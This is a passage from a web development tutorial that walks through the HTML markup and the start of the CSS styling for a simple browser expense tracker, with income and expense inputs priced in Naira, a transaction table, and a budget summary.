<p>Now, let’s add a title to our expense tracker. We’ll use the <code>&lt;h1&gt;</code> tag for this, which is typically used for the main heading on a webpage.</p>
<p>Add the following code inside the <code>container</code> div:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Expense Tracker<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
</code></pre>
<p>This heading will display prominently at the top of your page, letting users know what the application is about.</p>
<h3 id="heading-4-setting-up-sections-for-income-and-expenses">4. Setting Up Sections for Income and Expenses</h3>
<p>Next, we'll add sections for income and expenses. These sections will include input fields where users can enter their income and expense details.</p>
<p>Start by adding two <code>div</code> elements, each with a class of <code>section</code>. One section will be for income, and the other for expenses. Here’s the code:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"section"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Income<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Income input fields will go here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"section"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Expenses<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-comment">&lt;!-- Expense input fields will go here --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>The <code>&lt;h2&gt;</code> tags inside these sections serve as subheadings to label each section. We’ll add input fields in the next step.</p>
<h3 id="heading-5-adding-input-fields">5. Adding Input Fields</h3>
<p>Now, let’s add input fields for the income section. Users will need to enter a description (for example, “Salary”) and an amount. Each input field will be wrapped in a <code>div</code> with a class of <code>input-group</code> for easy styling later.</p>
<p>While this example uses Nigerian Naira (₦) for the currency, you can easily adapt it to any currency you prefer. Simply replace the currency symbol in the placeholder or any labels to match your needs.</p>
<p>Here’s how you can add the input fields:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"income-description"</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"income-description"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. Salary"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"income-amount"</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"income-amount"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. 100000"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>Do the same for the expenses section, but this time, we’ll also add a dropdown for the category of the expense:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-description"</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-description"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. Rent"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-category"</span>&gt;</span>Category<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">select</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-category"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Housing"</span>&gt;</span>Housing<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Food"</span>&gt;</span>Food<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Transportation"</span>&gt;</span>Transportation<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Entertainment"</span>&gt;</span>Entertainment<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Others"</span>&gt;</span>Others<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">select</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-amount"</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-amount"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. 50000"</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-6-add-a-button-to-each-section">6. Add a Button to Each Section</h3>
<p>Finally, we need a button in each section that users will click to add their income or expense to the tracker. Place a <code>button</code> element inside each section like this:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"addIncome()"</span>&gt;</span>Add Income<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>And for the expenses section:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"addExpense()"</span>&gt;</span>Add Expense<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-7-displaying-the-transaction-history">7. Displaying the Transaction History</h3>
<p>After the income and expenses sections, we need a place to display the transaction history. We’ll use a table for this, as it’s a clean and organized way to present data.</p>
<p>Add the following code after the expenses section:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"table-container"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Transaction History<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">table</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">thead</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">tr</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Category<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Type<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Action<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span> <span class="hljs-comment">&lt;!-- Column for delete button --&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">tr</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">thead</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">tbody</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"transaction-history"</span>&gt;</span>
            <span class="hljs-comment">&lt;!-- Transactions will appear here --&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">tbody</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">table</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-8-adding-a-summary-section">8. Adding a Summary Section</h3>
<p>At the bottom of the container, let’s add a summary section that shows the total income, total expenses, and the balance.</p>
<p>Here’s the code for the summary:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"summary"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Budget Summary<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Total Income: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"total-income"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Total Expenses: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"total-expenses"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Balance: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"balance"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-9-adding-a-clear-all-button">9. Adding a Clear All Button</h3>
<p>Lastly, include a button that will allow users to clear all the data in one click. This is particularly useful if they want to reset everything.</p>
<p>Here’s how to add the clear button:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"clear-button-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"clearAll()"</span>&gt;</span>Clear All<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<h3 id="heading-10-putting-it-all-together">10. Putting It All Together</h3>
<p>When you put all the pieces together, your HTML structure should look like this:</p>
<pre><code class="lang-html"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"en"</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">title</span>&gt;</span>Creative Budget Planner<span class="hljs-tag">&lt;/<span class="hljs-name">title</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Expense Tracker<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"section"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Income<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"income-description"</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"income-description"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. Salary"</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"income-amount"</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"income-amount"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. 100000"</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"addIncome()"</span>&gt;</span>Add Income<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"section"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Expenses<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-description"</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-description"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. Rent"</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-category"</span>&gt;</span>Category<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">select</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-category"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Housing"</span>&gt;</span>Housing<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Food"</span>&gt;</span>Food<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Transportation"</span>&gt;</span>Transportation<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Entertainment"</span>&gt;</span>Entertainment<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">option</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"Others"</span>&gt;</span>Others<span class="hljs-tag">&lt;/<span class="hljs-name">option</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">select</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"input-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">label</span> <span class="hljs-attr">for</span>=<span class="hljs-string">"expense-amount"</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">label</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"number"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"expense-amount"</span> <span class="hljs-attr">placeholder</span>=<span class="hljs-string">"e.g. 50000"</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"button-group"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"addExpense()"</span>&gt;</span>Add Expense<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"table-container"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Transaction History<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">table</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">thead</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">tr</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Description<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Category<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Amount (₦)<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Type<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">th</span>&gt;</span>Action<span class="hljs-tag">&lt;/<span class="hljs-name">th</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">tr</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">thead</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">tbody</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"transaction-history"</span>&gt;</span>
                    <span class="hljs-comment">&lt;!-- Transactions will appear here --&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">tbody</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">table</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"summary"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Budget Summary<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Total Income: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"total-income"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Total Expenses: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"total-expenses"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Balance: ₦<span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"balance"</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"clear-button-group"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">onclick</span>=<span class="hljs-string">"clearAll()"</span>&gt;</span>Clear All<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<div class="embed-wrapper">
        <iframe width="100%" height="350" src="https://codepen.io/joanayebola/embed/NWZEvLy" style="aspect-ratio: 16 / 9; width: 100%; height: auto;" title="CodePen embed" scrolling="no" allowtransparency="true" allowfullscreen="true" loading="lazy"></iframe></div>
<p> </p>
<h2 id="heading-styling-the-expense-tracker-with-css">Styling the Expense Tracker with CSS</h2>
<p>Now that we have our HTML structure in place, it’s time to make our expense tracker visually appealing by adding some CSS. We’ll start with basic styling and then move on to more specific details to ensure everything looks neat and user-friendly.</p>
<h3 id="heading-1-setting-up-the-css-file">1. Setting Up the CSS File</h3>
<p>First, create a new file named <code>styles.css</code> in the same directory as your <code>index.html</code> file. Link this CSS file to your HTML by adding the following line inside the <code>&lt;head&gt;</code> section of <code>index.html</code>:</p>
<pre><code class="lang-html"><span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"stylesheet"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"styles.css"</span>&gt;</span>
</code></pre>
<p>This line tells your HTML file to use the styles defined in <code>styles.css</code>.</p>
<h3 id="heading-2-styling-the-body">2. Styling the Body</h3>
<p>Let’s start by adding some basic styles to the <code>&lt;body&gt;</code> to set a nice background color, font, and layout. Open <code>styles.css</code> and add the following code:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">body</span> {
    <span class="hljs-attribute">font-family</span>: Arial, sans-serif;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f4f4f4</span>;
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100vh</span>;
}
</code></pre>
<ul>
<li><p><strong>font-family:</strong> We’re using a simple and clean font.</p>
</li>
<li><p><strong>background-color:</strong> A light grey background will give our tracker a soft look.</p>
</li>
<li><p><strong>display, justify-content, align-items, height:</strong> These properties center the content vertically and horizontally.</p>
</li>
</ul>
<h3 id="heading-3-styling-the-container">3. Styling the Container</h3>
<p>Next, we’ll style the <code>.container</code> to give it a clean, organized look:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.container</span> {
    <span class="hljs-attribute">background-color</span>: white;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">20px</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">10px</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">0</span> <span class="hljs-number">10px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
    <span class="hljs-attribute">max-width</span>: <span class="hljs-number">600px</span>;
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
}
</code></pre>
<ul>
<li><p><strong>background-color:</strong> White makes the content stand out against the grey background.</p>
</li>
<li><p><strong>padding:</strong> Adds space inside the container so the content isn’t touching the edges.</p>
</li>
<li><p><strong>border-radius:</strong> Rounds the corners for a modern look.</p>
</li>
<li><p><strong>box-shadow:</strong> Adds a subtle shadow to lift the container off the page slightly.</p>
</li>
<li><p><strong>max-width and width:</strong> Ensures the container is responsive and doesn’t exceed a certain width.</p>
</li>
</ul>
<h3 id="heading-4-styling-the-headings">4. Styling the Headings</h3>
<p>Let’s style the headings to make them more visually distinct:</p>
<pre><code class="lang-css"><span class="hljs-selector-tag">h1</span>, <span class="hljs-selector-tag">h2</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#333</span>;
    <span class="hljs-attribute">text-align</span>: center;
}

<span class="hljs-selector-tag">h1</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">20px</span>;
}

<span class="hljs-selector-tag">h2</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">15px</span>;
}
</code></pre>
<ul>
<li><p><strong>color:</strong> A dark grey color for the text will keep it readable.</p>
</li>
<li><p><strong>text-align:</strong> Centers the headings to create a balanced layout.</p>
</li>
<li><p><strong>margin-bottom:</strong> Adds space below the headings.</p>
</li>
</ul>
<h3 id="heading-5-styling-the-input-groups">5. Styling the Input Groups</h3>
<p>Now, let’s style the input fields and labels within the <code>.input-group</code> class:</p>
<pre><code class="lang-css"><span class="hljs-selector-class">.input-group</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">15px</span>;
}

<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">label</span> {
    <span class="hljs-attribute">display</span>: block;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">5px</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#555</span>;
}

<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">input</span>,
<span class="hljs-selector-class">.input-group</span> <span class="hljs-selector-tag">select</span> {
